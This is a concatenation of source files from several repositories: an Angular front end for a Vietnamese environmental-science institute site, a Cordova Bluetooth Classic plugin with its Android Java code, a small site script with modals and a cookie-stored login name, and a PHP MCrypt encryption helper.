runGuardsAndResolvers: 'always',
resolve: {
posts: NewsPostsResolve
}
},
{
path: 'tin-tuc/:code',
component: PostsComponent,
runGuardsAndResolvers: 'always',
resolve: {
posts: NewsPostsResolve
}
},
{
path: 'tin-tuc/bai-viet/:code',
runGuardsAndResolvers: 'always',
component: PostComponent,
resolve: {
post: NewsPostResolve
}
},
{
path: 'lien-he',
component: ContactComponent
},
{
path: 'thong-tin-tim-kiem/:keyword',
runGuardsAndResolvers: 'always',
component: SearchCategoryComponent,
resolve: {
datas: NewsCategoryResolve
}
}
]
}
];
@NgModule({
imports: [RouterModule.forRoot(routes)],
exports: [RouterModule]
})
export class AppRoutingModule { }
<file_sep>import { RegEventComponent } from './reg-event/reg-event.component';
export { RegEventComponent } from './reg-event/reg-event.component';
export const DIALOGS = [
RegEventComponent,
]
<file_sep>import { Pipe, PipeTransform } from '@angular/core';
import { environment } from '@env'
@Pipe({ name: 'link', pure: false })
export class LinkPipe implements PipeTransform {
transform(value: string) {
if (value === null || value === undefined) {
return ``
}
return `${environment.api_url}/${value}`;
}
}
<file_sep>export const LOCALIZE : Localize = {
'text-search': {
vi: 'Tìm kiếm...',
en: 'Search...'
}
}<file_sep>import { ContainerComponent } from './container/container.component';
import { HomeComponent } from './home/home.component';
import { EventsComponent } from './events/events.component';
import { EventComponent } from './event/event.component';
import { PublicationsComponent } from './publications/publications.component';
import { PublicationComponent } from './publication/publication.component';
import { ProjectsComponent } from './projects/projects.component';
import { ProjectComponent } from './project/project.component';
import { PostsComponent } from './posts/posts.component';
import { PostComponent } from './post/post.component';
import { ContactComponent } from './contact/contact.component';
import { EducationComponent } from './education/education.component';
import { EducationsComponent } from './educations/educations.component';
import { SubscribeActionComponent } from './subscribe.action/subscribe.action.component';
import { DecisionSupportComponent } from './decision-support/decision-support.component';
import { SearchCategoryComponent } from './search-category/search-category.component';
export { ContainerComponent } from './container/container.component';
export { HomeComponent } from './home/home.component';
export { EventsComponent } from './events/events.component';
export { EventComponent } from './event/event.component';
export { PublicationsComponent } from './publications/publications.component';
export { PublicationComponent } from './publication/publication.component';
export { ProjectsComponent } from './projects/projects.component';
export { ProjectComponent } from './project/project.component';
export { PostsComponent } from './posts/posts.component';
export { PostComponent } from './post/post.component';
export { ContactComponent } from './contact/contact.component';
export { EducationComponent } from './education/education.component';
export { EducationsComponent } from './educations/educations.component';
export { SubscribeActionComponent } from './subscribe.action/subscribe.action.component';
export { DecisionSupportComponent } from './decision-support/decision-support.component';
export { SearchCategoryComponent } from './search-category/search-category.component';
export const PAGES = [
ContainerComponent,
HomeComponent,
EventsComponent,
EventComponent,
PublicationsComponent,
PublicationComponent,
ProjectsComponent,
ProjectComponent,
PostsComponent,
PostComponent,
ContactComponent,
SubscribeActionComponent,
EducationComponent,
EducationsComponent,
DecisionSupportComponent,
SearchCategoryComponent
]<file_sep>import { Component, OnInit, OnDestroy } from '@angular/core';
import { LocalizeService, SeoService } from 'src/services';
import { ToastrService } from 'src/services';
const PREFIX = {
vi: 'Viện khoa học & Công nghệ môi trường',
en: 'School of Enviromental science and technology'
};
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.scss']
})
export class AppComponent implements OnInit, OnDestroy {
constructor(private seo: SeoService, private localize: LocalizeService, public toastr: ToastrService) {
this.seo.prefix(PREFIX[this.localize.lang])
}
ngOnInit() {
this.localize.changed.subscribe(() => {
this.seo.prefix(PREFIX[this.localize.lang])
})
}
ngOnDestroy() {
this.localize.changed.unsubscribe();
}
}
<file_sep>export { ServicesModule } from './services.module';
export { SeoService } from './seo.service';
export { StorageService } from './storage.service';
export { LocalizeService } from './localize.service';
export { ModalService } from './modal.service';
export { ToastrService } from './toastr.service';
<file_sep>import { Component, OnInit, OnDestroy } from '@angular/core';
import { NgbActiveModal, NgbModal, NgbModalRef } from '@ng-bootstrap/ng-bootstrap';
import { ToastrService } from 'src/services';
import { RegisterEventApi } from '../../apis';
import _ from 'lodash';
@Component({
selector: 'app-reg-event',
templateUrl: './reg-event.component.html',
styleUrls: ['./reg-event.component.scss']
})
export class RegEventComponent {
constructor(private modal: NgbActiveModal, private toastr: ToastrService, private api: RegisterEventApi) {
console.log(this.post);
}
post: any
name: string
email: string
phone: string
model: any = {};
reg() {
console.log(this.post);
this.model.event_code = _.get(this.post, 'id');
this.api.post('create', this.model).then(() => {
this.toastr.success(`Đăng ký sự kiện '${this.post.name}' thành công.`)
}, () => {
this.toastr.error(`Đăng ký sự kiện '${this.post.name}' không thành công.`)
return;
})
// this.toastr.success(`Đăng ký sự kiện '${this.post.name}' thành công.`)
// this.modal.close();
}
close() {
this.modal.dismiss()
}
}
<file_sep>import { Injectable } from '@angular/core';
@Injectable()
export class ToastrService {
public messages: any[] = [];
success(message: string) {
this.messages.push({ message, classname: 'bg-success' });
}
error(message: string) {
this.messages.push({message, classname: 'bg-error'});
}
remove(toast) {
this.messages = this.messages.filter(t => t != toast);
}
}
<file_sep>import { Injectable } from '@angular/core';
import { Router, Resolve, RouterStateSnapshot, ActivatedRouteSnapshot } from '@angular/router';
import { NewsCategoryApi } from '../apis';
import { Utils } from '../utils';
@Injectable()
export class NewsCategoryResolve implements Resolve<Object> {
constructor(private router: Router, private api: NewsCategoryApi) { }
resolve(route: ActivatedRouteSnapshot, state: RouterStateSnapshot) {
let query = route.params.keyword;
return this.api.post('search', { keyword: Utils.parseCode(query) });
}
}<file_sep>import { Component } from '@angular/core';
import { ActivatedRoute } from '@angular/router';
import { ModalService, SeoService } from 'src/services';
import { environment } from '@env'
import { Utils } from '../../utils'
import _ from 'lodash'
import { RegEventComponent } from 'src/app/dialogs';
@Component({
selector: 'app-event',
templateUrl: './event.component.html',
styleUrls: ['./event.component.scss']
})
export class EventComponent {
constructor(seo: SeoService, route: ActivatedRoute, private modal: ModalService) {
seo.set('Thông tin sự kiện')
route.data.subscribe((data) => {
this.post = _.get(data, 'post');
})
}
post: any
register() {
var modal = this.modal.shown(RegEventComponent)
modal.componentInstance.post = this.post
console.log(modal.componentInstance.post)
}
download() {
let url = _.get(this.post, 'url')
const link = `${environment.api_url}/${url}`
window.open(link)
}
download_source() {
let url = _.get(this.post, 'source')
window.open(url)
}
seo(title: string, code: string) {
return `${Utils.toSeo(title)}-${code}`
}
}
<file_sep>import { Injectable } from '@angular/core';
import { Router, Resolve, RouterStateSnapshot, ActivatedRouteSnapshot } from '@angular/router';
import { ConfigurationApi, BannerApi } from '../apis';
@Injectable()
export class MenuResolve implements Resolve<Object> {
constructor(private router: Router, private api: ConfigurationApi) { }
resolve(route: ActivatedRouteSnapshot, state: RouterStateSnapshot) {
return this.api.get();
}
}
@Injectable()
export class BannerResolve implements Resolve<Object> {
constructor(private router: Router, private api: BannerApi) { }
resolve(route: ActivatedRouteSnapshot, state: RouterStateSnapshot) {
return this.api.get('TENJIN_BANNER')
}
}
<file_sep>import { Injectable } from '@angular/core';
import ls from 'secure-ls';
@Injectable()
export class StorageService {
private storage: ls;
constructor() {
this.storage = new ls({ encodingType: 'aes' });
}
resolve(key: string, value?: any): string | number | Object {
if (value) {
this.storage.set(key, value);
}
return this.storage.get(key);
}
remove(key: string) {
this.storage.remove(key);
}
}
<file_sep>import { ConfigurationApi } from './configuration.api';
import { PublicationApi } from './publication.api';
import { EventApi } from './event.api';
import { NewsApi } from './news.api';
import { BannerApi } from './banner.api';
import { ProjectApi } from './project.api';
import { EducationApi } from './education.api';
import { RegisterEventApi } from './register-event.api';
import { NewsCategoryApi } from './news-category.api';
export { ConfigurationApi } from './configuration.api';
export { PublicationApi } from './publication.api';
export { EventApi } from './event.api';
export { NewsApi } from './news.api';
export { BannerApi } from './banner.api';
export { ProjectApi } from './project.api';
export { EducationApi } from './education.api';
export { RegisterEventApi } from './register-event.api';
export { NewsCategoryApi } from './news-category.api';
export const APIS = [
ConfigurationApi,
PublicationApi,
EventApi,
NewsApi,
BannerApi,
ProjectApi,
EducationApi,
RegisterEventApi,
NewsCategoryApi
];<file_sep>import { NgModule, ModuleWithProviders } from '@angular/core';
import { CommonModule } from '@angular/common';
import { NgbModalModule } from '@ng-bootstrap/ng-bootstrap';
import { SeoService } from './seo.service';
import { StorageService } from './storage.service';
import { LocalizeService } from './localize.service';
import { ModalService } from './modal.service';
import { ToastrService } from './toastr.service';
@NgModule({
imports: [
CommonModule,
NgbModalModule,
],
declarations: [],
entryComponents: []
})
export class ServicesModule {
static forRoot(): ModuleWithProviders<ServicesModule> {
return {
ngModule: ServicesModule,
providers: [
SeoService,
StorageService,
LocalizeService,
ModalService,
ToastrService,
]
};
}
}
|
50052a75466527de7e371fbaf1f38d1a01216b25
|
[
"TypeScript"
] | 43
|
TypeScript
|
xctthonh26792/hust-frontend
|
5b848252be2e1a91c8341836003652d9c597ea85
|
9c855b290ca57beff3dc06566cb3dd8952a803cc
|
refs/heads/master
|
<file_sep># cordova-bluetooth-classic
IOS MFI cordova integrations & Android BT serial integrations
<file_sep>"use strict";
module.exports = {
connect: function(id, success, failure) {
console.log('Connecting over BTClassic to Device with ID: '+id);
cordova.exec(success, failure, 'BluetoothClassicPlugin', 'connect', [id]);
},
// This is unsuported as we do not use this anywhere.
// all the wiring is setup to make implementation quick
// if and when it is needed
write: function(data, id, success, failure) {
// convert to ArrayBuffer
if (typeof data === 'string') {
data = stringToArrayBuffer(data);
} else if (data instanceof Array) {
// assuming array of UNSIGNED BYTES
data = new Uint8Array(data).buffer;
} else if (data instanceof Uint8Array) {
data = data.buffer;
}
cordova.exec(success, failure, "BluetoothClassicPlugin", "write", [id, data]);
},
read: function(id, success, failure) {
console.log('Reading data from device: '+id);
cordova.exec(success, failure, "BluetoothClassicPlugin", "read", [id]);
},
// Disconnect does not really work as intended on iOS due to the way GC is handled
// Its more of a polite 'I am done with this, thanks' than a closure of the phy
disconnect: function(id, success, failure){
cordova.exec(success, failure, "BluetoothClassicPlugin", "disconnect", [id]);
},
closeSession: function(success, failure){
cordova.exec(success, failure, "BluetoothClassicPlugin", "closeSession", []);
},
isConnected: function (id, success, failure) {
cordova.exec(success, failure, "BluetoothClassicPlugin", "isConnected", [id]);
},
showPicker: function (success, failure) {
cordova.exec(success, failure, "BluetoothClassicPlugin", "showPicker", []);
},
clearCache: function (success, failure) {
cordova.exec(success, failure, "BluetoothClassicPlugin", "clearCache", []);
}
};
<file_sep>import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.IntentFilter;
import android.content.Intent;
import android.os.Handler;
import android.os.Parcelable;
import android.content.BroadcastReceiver;
import android.provider.Settings;
import android.util.Log;
import java.io.IOException;
import org.apache.cordova.CallbackContext;
import org.apache.cordova.CordovaArgs;
import org.apache.cordova.CordovaPlugin;
import org.apache.cordova.LOG;
import org.apache.cordova.PluginResult;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import android.bluetooth.BluetoothAdapter;
import android.bluetooth.BluetoothDevice;
import android.bluetooth.BluetoothSocket;
import java.io.InputStream;
import java.io.OutputStream;
import org.apache.cordova.CallbackContext;
import java.util.*;
public class BluetoothClassicPlugin extends CordovaPlugin {
public enum State {
STATE_DISCONNECTED,
STATE_CONNECTING,
STATE_CONNECTED,
STATE_TEST
}
private class ConnectionData {
public BluetoothDevice mDevice;
public BluetoothSocket mSocket;
public InputStream mInputStream;
public OutputStream mOutputStream;
public CallbackContext mConnectCallback;
public String macAddress;
public State mState;
public ConnectionData() {
mState = State.STATE_CONNECTING;
}
}
interface connectionCallback {
void success();
}
private class ConnectThread extends Thread {
private /*final*/ BluetoothSocket mmSocket;
private final BluetoothDevice mmDevice;
private static final String CONNECT = "connect";
private static final String WRITE = "write";
private static final String READ = "read";
private static final String DISCONNECT = "disconnect";
private static final String IS_CONNECTED = "isConnected";
private static final String CLEAR_CACHE = "clearCache";
public CallbackContext mConnectCallback;
public String mSuccessMethod;
public Object mSpawner;
private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
BluetoothDevice device = intent.getParcelableExtra("android.bluetooth.device.extra.DEVICE");
Parcelable[] uuidExtra = intent.getParcelableArrayExtra("android.bluetooth.device.extra.UUID");
System.out.format("Received some shit in the receiver: %d %n", uuidExtra.length);
}
};
public ConnectThread(BluetoothDevice device, CallbackContext cb, Object spawner, String successMethod) {
mmDevice = device;
mConnectCallback = cb;
mSuccessMethod = successMethod;
mSpawner = spawner;
}
public void run() {
ConnectionData theConnection = new ConnectionData();
theConnection.mDevice = mmDevice;
theConnection.mConnectCallback = mConnectCallback;
try {
System.out.println("Retrieving socket 1");
theConnection.mSocket = theConnection.mDevice.createRfcommSocketToServiceRecord(SERVICE_UUID);
} catch (Exception e) {
System.out.format("Failed to retrieve Socket 1 with SERVICE_UUID: %s", SERVICE_UUID);
e.printStackTrace();
String message = String.format("failed to connect to bluetooth classic device: %s");
JSONObject json = new JSONObject();
//json.put("message", message);
//callbackContext.sendPluginResult(new PluginResult(PluginResult.Status.ERROR, json));
System.out.flush();
try {
String reportResult = "failure";
mSpawner.getClass().getMethod(mSuccessMethod, String.class, ConnectionData.class).invoke(mSpawner, reportResult, theConnection);
} catch (Exception callbackE) {
// If it fails, write the error message to screen
callbackE.printStackTrace();
}
return;
}
if (theConnection.mSocket == null) {
System.out.println("Socket still null. Returning...");
String message = String.format("failed to connect to bluetooth classic device");
JSONObject json = new JSONObject();
//json.put("message", message);
//callbackContext.sendPluginResult(new PluginResult(PluginResult.Status.ERROR, json));
System.out.flush();
try {
String reportResult = "failure";
mSpawner.getClass().getMethod(mSuccessMethod, String.class, ConnectionData.class).invoke(mSpawner, reportResult, theConnection);
} catch (Exception callbackE) {
// If it fails, write the error message to screen
callbackE.printStackTrace();
}
return;
}
try {
System.out.format("Attemping to connect to bluetooth classic device");
theConnection.mSocket.connect();
theConnection.mOutputStream = theConnection.mSocket.getOutputStream();
theConnection.mInputStream = theConnection.mSocket.getInputStream();
//theConnection.mState = mState.STATE_CONNECTED;
theConnection.macAddress = theConnection.mDevice.getAddress();
//
String message = String.format("successfully connected to bluetooth classic device");
JSONObject json = new JSONObject();
System.out.flush();
try {
String reportResult = "success";
mSpawner.getClass().getMethod(mSuccessMethod, String.class, ConnectionData.class).invoke(mSpawner, reportResult, theConnection);
} catch (Exception callbackE) {
// If it fails, write the error message to screen
callbackE.printStackTrace();
}
} catch (IOException e) {
e.printStackTrace();
try {
System.out.format("Classic connect attempt 1 failed. Entering fallback. Attempting to connect to device");
theConnection.mSocket = (BluetoothSocket) theConnection.mDevice.getClass().getMethod("createRfcommSocket", new Class[] {
int.class
}).invoke(theConnection.mDevice, 1);
mmSocket.connect();
} catch (Exception e2) {
try {
theConnection.mSocket.close();
theConnection.mSocket = null;
//theConnection.mState = STATE_DISCONNECTED;
} catch (IOException e3) {
e3.printStackTrace();
}
System.out.flush();
try {
String reportResult = "failure";
mSpawner.getClass().getMethod(mSuccessMethod, String.class, ConnectionData.class).invoke(mSpawner, reportResult, theConnection);
} catch (Exception callbackE) {
// If it fails, write the error message to screen
callbackE.printStackTrace();
}
}
}
}
public void cancel() {
try {
mmSocket.close();
} catch (IOException e) {}
}
}
// actions
private static final String CONNECT = "connect";
private static final String WRITE = "write";
private static final String READ = "read";
private static final String DISCONNECT = "disconnect";
private static final String IS_CONNECTED = "isConnected";
private static final String CLEAR_CACHE = "clearCache";
private List < ConnectionData > connectionsList = new ArrayList < ConnectionData > ();
private byte[] rxBuffer = new byte[1024 * 25];
private byte[] jpgCpy;
private BluetoothAdapter bluetoothAdapter;
private static final String TAG = "BluetoothClassicService";
private static final UUID SERVICE_UUID =
UUID.fromString("00001101-0000-1000-8000-00805F9B34FB");
@Override
public void onDestroy() {
super.onDestroy();
}
private ConnectThread mConnectThread;
public boolean execute(String action, CordovaArgs args, CallbackContext callbackContext) throws JSONException {
if (bluetoothAdapter == null) {
bluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
}
boolean validAction = true;
if (action.equals(CONNECT)) {
connect(args, callbackContext);
} else if (action.equals(READ)) {
read(args, callbackContext);
} else if (action.equals(WRITE)) {
write(args, callbackContext);
} else if (action.equals(DISCONNECT)) {
disconnect(args, callbackContext);
} else if (action.equals(IS_CONNECTED)) {
isConnected(args, callbackContext);
} else if (action.equals(CLEAR_CACHE)) {
clearCache(args, callbackContext);
} else {
validAction = false;
callbackContext.error("Invalid command");
}
return validAction;
}
private void resetConnection(CordovaArgs args) throws JSONException {
String macAddress = args.getString(0);
System.out.println("Restting Connections");
ConnectionData theConnection = getConnection(macAddress);
if (theConnection != null) {
System.out.println("Found a connection. Closing sockets");
if (theConnection.mInputStream != null) {
try {
theConnection.mInputStream.close();
} catch (Exception e) {}
theConnection.mInputStream = null;
}
if (theConnection.mOutputStream != null) {
try {
theConnection.mOutputStream.close();
} catch (Exception e) {}
theConnection.mOutputStream = null;
}
if (theConnection.mSocket != null) {
try {
theConnection.mSocket.close();
} catch (Exception e) {}
theConnection.mSocket = null;
}
}
}
private void clearCache(CordovaArgs args, CallbackContext callbackContext) throws JSONException {
try {
bluetoothAdapter.disable();
Thread.sleep(100);
} catch (final InterruptedException e) {}
try {
bluetoothAdapter.enable();
Thread.sleep(100);
} catch (final InterruptedException e) {}
if (!bluetoothAdapter.isEnabled()) {
bluetoothAdapter.enable();
try {
Thread.sleep(1000);
} catch (InterruptedException e) {}
}
String message = String.format("Successfully reset bluetooth cache");
JSONObject json = new JSONObject();
try {
json.put("message", message);
callbackContext.sendPluginResult(new PluginResult(PluginResult.Status.OK, json));
} catch (JSONException err2) {
err2.printStackTrace();
}
}
private void write(CordovaArgs args, CallbackContext callbackContext) throws JSONException {
String macAddress = args.getString(0);
ConnectionData theConnection = getConnection(macAddress);
// check to make sure theConnection is not null
if (theConnection == null) {
String message = "failed to locate the bluetooth device.";
JSONObject json = new JSONObject();
try {
json.put("message", message);
callbackContext.sendPluginResult(new PluginResult(PluginResult.Status.ERROR, json));
return;
} catch (JSONException e) {
e.printStackTrace();
return;
}
}
if (theConnection.mOutputStream == null) {
String message = "Bluetooth device has an invalid output stream.";
JSONObject json = new JSONObject();
try {
json.put("message", message);
callbackContext.sendPluginResult(new PluginResult(PluginResult.Status.ERROR, json));
return;
} catch (JSONException e) {
e.printStackTrace();
return;
}
}
try {
// theConnection.mOutputStream.write(out);
String message = "successfully wrote to connected bluetooth device.";
JSONObject json = new JSONObject();
try {
json.put("message", message);
callbackContext.sendPluginResult(new PluginResult(PluginResult.Status.OK, json));
return;
} catch (JSONException err2) {
err2.printStackTrace();
}
} catch (Exception e) {
e.printStackTrace();
theConnection.mState = State.STATE_DISCONNECTED;
String message = "failed to connect to write to connected bluetooth device.";
JSONObject json = new JSONObject();
try {
json.put("message", message);
callbackContext.sendPluginResult(new PluginResult(PluginResult.Status.ERROR, json));
return;
} catch (JSONException err2) {
err2.printStackTrace();
}
}
}
private void disconnect(CordovaArgs args, CallbackContext callbackContext) throws JSONException {
String macAddress = args.getString(0);
ConnectionData theConnection = getConnection(macAddress);
// check to make sure theConnection is not null
if (theConnection == null) {
}
cmdDisconnect(theConnection);
try {
String message = String.format("Successfully disconnected to bluetooth classic device.");
JSONObject json = new JSONObject();
json.put("message", message);
callbackContext.sendPluginResult(new PluginResult(PluginResult.Status.OK, json));
} catch (Exception e) {
callbackContext.success();
}
}
public void connectSuccess(String result, ConnectionData newConnection) {
if (result == "success") {
newConnection.mState = State.STATE_CONNECTED;
connectionsList.add(newConnection);
String message = String.format("Successfully connected to bluetooth classic device.");
System.out.println("Connection Succeeded");
System.out.flush();
try {
JSONObject json = new JSONObject();
json.put("message", message);
newConnection.mConnectCallback.sendPluginResult(new PluginResult(PluginResult.Status.OK, json));
} catch (Exception e) {
// If it fails, write the error message to screen
e.printStackTrace();
}
} else {
System.out.println("Connection Failed");
System.out.flush();
newConnection.mState = State.STATE_DISCONNECTED;
String message = String.format("Was unable to connect to bluetooth classic device.");
JSONObject json = new JSONObject();
try {
json.put("message", message);
newConnection.mConnectCallback.sendPluginResult(new PluginResult(PluginResult.Status.ERROR, json));
} catch (Exception e) {
// If it fails, write the error message to screen
e.printStackTrace();
}
}
}
private void connect(CordovaArgs args, CallbackContext callbackContext) throws JSONException {
String macAddress = args.getString(0);
BluetoothDevice mDevice = bluetoothAdapter.getRemoteDevice(macAddress);
System.out.format("Got Remote Device %s%n", mDevice.getName());
System.out.format("%s%n", mDevice.toString());
mConnectThread = new ConnectThread(mDevice, callbackContext, this, "connectSuccess");
mConnectThread.start();
}
private void cmdDisconnect(ConnectionData theConnection) {
if (theConnection.mState == null || theConnection.mState != State.STATE_DISCONNECTED) {
try {
theConnection.mOutputStream.close();
} catch (Exception e) {}
try {
theConnection.mInputStream.close();
} catch (Exception e) {}
try {
theConnection.mSocket.close();
} catch (Exception e) {}
theConnection.mState = State.STATE_DISCONNECTED;
theConnection.mInputStream = null;
theConnection.mOutputStream = null;
theConnection.mSocket = null;
connectionsList.remove(theConnection);
}
}
private void read(CordovaArgs args, CallbackContext callbackContext) throws JSONException {
try {
String macAddress = args.getString(0);
ConnectionData theConnection = getConnection(macAddress);
// check to make sure theConnection is not null
if (theConnection == null) {
String message = "failed to locate the bluetooth device.";
JSONObject json = new JSONObject();
try {
json.put("message", message);
callbackContext.sendPluginResult(new PluginResult(PluginResult.Status.ERROR, json));
System.out.flush();
return;
} catch (JSONException e) {
e.printStackTrace();
return;
}
}
System.out.format("Bytes available to be read: %d\n", theConnection.mInputStream.available());
int available = theConnection.mInputStream.available();
if (available > 0) {
int length = theConnection.mInputStream.read(rxBuffer);
jpgCpy = new byte[length];
for (int i = 0; i < length; i++) {
jpgCpy[i] = rxBuffer[i];
}
callbackContext.sendPluginResult(new PluginResult(PluginResult.Status.OK, jpgCpy));
System.out.flush();
} else {
String message = String.format("failed to read from device. No data to be read.");
JSONObject json = new JSONObject();
json.put("message", message);
callbackContext.sendPluginResult(new PluginResult(PluginResult.Status.ERROR, json));
System.out.flush();
}
} catch (IOException err) {
err.printStackTrace();
String message = String.format("failed to read from device");
JSONObject json = new JSONObject();
json.put("message", message);
callbackContext.sendPluginResult(new PluginResult(PluginResult.Status.ERROR, json));
System.out.flush();
}
}
private void isConnected(CordovaArgs args, CallbackContext callbackContext) throws JSONException {
String macAddress = args.getString(0);
ConnectionData theConnection = getConnection(macAddress);
if (theConnection == null || theConnection.mState != State.STATE_CONNECTED) {
System.out.format("Device %s is not connected\n", macAddress);
String message = "failed to locate the bluetooth device.";
JSONObject json = new JSONObject();
try {
json.put("message", message);
callbackContext.sendPluginResult(new PluginResult(PluginResult.Status.ERROR, json));
System.out.flush();
return;
} catch (JSONException e) {
e.printStackTrace();
return;
}
}
try {
System.out.format("Device %s has good connection\n", macAddress);
String message = String.format("Requested device is connected");
JSONObject json = new JSONObject();
json.put("message", message);
callbackContext.sendPluginResult(new PluginResult(PluginResult.Status.OK, json));
System.out.flush();
} catch (JSONException e) {
e.printStackTrace();
return;
}
}
private ConnectionData getConnection(String address) {
for (int i = 0; i < connectionsList.size(); i++) {
ConnectionData cd = connectionsList.get(i);
if (cd.macAddress.equals(address)) {
return cd;
}
}
return null;
}
}
|
3379cb945eaef2ca12155a65044b141fcdd5d541
|
[
"Markdown",
"Java",
"JavaScript"
] | 3
|
Markdown
|
blakeparkinson/cordova-bluetooth-classic
|
ee82aaff7a35b7bff95d36394051d56d43dc81c8
|
78462616c842c4e767c51114f2948fc5cf9dd3ff
|
refs/heads/master
|
<file_sep>function calc() {
var count = parseInt(document.getElementById('count').value);
var select = document.getElementById("type-calc");
var value = select.options[select.selectedIndex].value;
var result = 0;
if (value == "День"){
result = count * parseInt(document.getElementsByClassName('costday')[0].innerHTML);
}else if("Месяц"){
result = count * parseInt(document.getElementsByClassName('costmonth')[0].innerHTML);
}
document.getElementById('final_price').innerHTML = result;
}<file_sep>var wow = new WOW(
{
boxClass: 'wow', // animated element css class (default is wow)
animateClass: 'animate__animated', // animation css class (default is animated)
offset: 0, // distance to the element when triggering the animation (default is 0)
mobile: true, // trigger animations on mobile devices (default is true)
live: true, // act on asynchronously loaded content (default is true)
callback: function(box) {
// the callback is fired every time an animation is started
// the argument that is passed in is the DOM node being animated
},
scrollContainer: null, // optional scroll container selector, otherwise use window,
resetAnimation: true, // reset animation on end (default is true)
}
);
if (window.innerWidth>991.97)
wow.init();
let d=document.getElementById("d");
let h=document.getElementById("h");
let m=document.getElementById("m");
let s=document.getElementById("s");
//setInterval(tic,1000);
function tic(){
let d1=new Date();
let d2=new Date(d1.getFullYear(), 11, 31, 24);
let ms=d2.getTime()-d1.getTime();
let sec=ms/1000;
let min=sec/60;
let hours=min/60;
let days=hours/24;
hours=23-d1.getHours();
if (hours<10){
hours="0"+hours;
}
min=59-d1.getMinutes();
if (min<10){
min="0"+min;
}
sec=59-d1.getSeconds();
if (sec<10){
sec="0"+sec;
}
d.innerHTML=Math.floor(days)+"дн. ";
h.innerHTML=hours+"ч. ";
m.innerHTML=min+"мин. ";
s.innerHTML=sec+"сек. ";
}
function toggleMenu(event){
document.body.classList.toggle("activemenu");
}
function toggleMenu2(event){
if (event.target.tagName=="A")
document.body.classList.toggle("activemenu");
}
document.getElementsByClassName("menu-block")[0].addEventListener("click", toggleMenu2);
document.getElementsByClassName("btnmenu")[0].addEventListener("click", toggleMenu);
document.getElementsByClassName("closeblock")[0].addEventListener("click", toggleMenu);
document.querySelector(".login a[href='#signin']").addEventListener("click", toggleModalSigIn);
function toggleModalSigIn(event){
toggleModal('signin');
return false;
}
document.querySelector(".login a[href='#register']").addEventListener("click", toggleModalRegister);
function toggleModalRegister(event){
toggleModal('register');
return false;
}
btnarenda=document.getElementById("btnarenda");
if (btnarenda) btnarenda.addEventListener("click", toggleModalArenda);
function toggleModalArenda(event){
toggleModal('arenda');
return false;
}
document.getElementsByClassName("closeblock2")[0].addEventListener("click", closeModals);
document.querySelector("#arenda .btn").addEventListener("click", closeModals);
function closeModals(event){
toggleModal();
return false;
}
function toggleModal(idModal=null){
document.body.classList.toggle("openmodal");
if (idModal)
document.body.classList.toggle('open'+idModal);
else {
if (document.body.classList.contains('opensignin'))
document.body.classList.remove('opensignin');
if (document.body.classList.contains('openregister'))
document.body.classList.remove('openregister');
if (document.body.classList.contains('openarenda'))
document.body.classList.remove('openarenda');
}
}
document.querySelector("#signin .btn").addEventListener("click", authUser);
document.querySelector("#register .btn").addEventListener("click", authUser);
function authUser(event){
form=event.target.closest("form");
login=form.querySelector("input[name='login']").value;
pass=form.querySelector("input[name='pass']").value;
passObj=form.querySelector("input[name='pass2']");
if (passObj)
pass2=passObj.value;
else pass2="<PASSWORD>";
if (login && pass && pass2){
form.classList.remove('showerror');
toggleModal();
document.cookie = "login="+login+"; path=/";
setAuth(login);
} else{
form.classList.add('showerror');
}
return false;
}
function getCookie(name) {
let matches = document.cookie.match(new RegExp(
"(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"
));
return matches ? decodeURIComponent(matches[1]) : undefined;
}
function setAuth(login=null){
loginuser=document.getElementById("loginuser");
if (!login){
login=getCookie('login');
if (!login){
login='';
document.body.classList.remove('auth');
}
}
if (login!=''){
document.body.classList.add('auth');
}
loginuser.innerHTML=login;
}
document.querySelector("a[href='#logout']").addEventListener("click", logout);
function logout(event){
document.cookie = "login=; path=/";
setAuth();
return false;
}
setAuth();
slider=$(".slides").slick({
dots: false,
infinite: true,
speed: 600,
slidesToShow: 1,
slidesToScroll: 1,
arrows: false
});
$(".btnprev").click(function(){
slider.slick("slickPrev");
});
$(".btnnext").click(function(){
slider.slick("slickNext");
});
|
d71fe55aef2ef10e0a72a96c691c62014990926d
|
[
"JavaScript"
] | 2
|
JavaScript
|
JustOne-code/project
|
eb895d0c363a85d1747add71ecac717d5a6eeed2
|
34264934a2d355cbee42bd4727d95bbc00e8c672
|
refs/heads/master
|
<repo_name>kafene/MCrypt<file_sep>/README.md
MCrypt
======
mcrypt helper object
<file_sep>/MCrypt.php
<?php
namespace kafene;
class MCrypt {
public static function encrypt($key, $data, array $options = []) {
$algorithm = empty($options['algorithm']) ?
MCRYPT_RIJNDAEL_256 :
$options['algorithm'];
$mode = empty($options['mode']) ?
MCRYPT_MODE_CBC :
$options['mode'];
$ivSize = mcrypt_get_iv_size($algorithm, $mode);
$keySize = mcrypt_get_key_size($algorithm, $mode);
$iv = empty($options['iv']) ?
mcrypt_create_iv($ivSize, MCRYPT_DEV_URANDOM) :
$options['iv'];
$iv = substr($iv, 0, $ivSize);
$key = substr($key, 0, $keySize);
$encrypted = mcrypt_encrypt($algorithm, $key, $data, $mode, $iv);
$encrypted = base64_encode($encrypted);
$iv = base64_encode($iv);
$data = json_encode([
'iv' => $iv,
'data' => $encrypted,
'algorithm' => $algorithm,
'mode' => $mode,
], JSON_HEX_QUOT|JSON_HEX_AMP|JSON_HEX_APOS|JSON_HEX_TAG);
return $data;
}
public static function decrypt($key, $data) {
$data = is_array($data) ? $data : json_decode($data, true);
$algorithm = $data['algorithm'];
$mode = $data['mode'];
$ivSize = mcrypt_get_iv_size($algorithm, $mode);
$keySize = mcrypt_get_key_size($algorithm, $mode);
$iv = base64_decode($data['iv']);
$encrypted = base64_decode($data['data']);
$iv = substr($iv, 0, $ivSize);
$key = substr($key, 0, $keySize);
$decrypted = mcrypt_decrypt($algorithm, $key, $encrypted, $mode, $iv);
$decrypted = rtrim($decrypted, "\0");
return $decrypted;
}
}
|
bddde8b91912b15b7f22c55efaa152ca07dc0fee
|
[
"Markdown",
"PHP"
] | 2
|
Markdown
|
kafene/MCrypt
|
ba1107f8d7fdd86d8b19eb5e497d6646a7cbe894
|
9caccf49b756c229d019bc7b9ab17877b8cec3f9
|
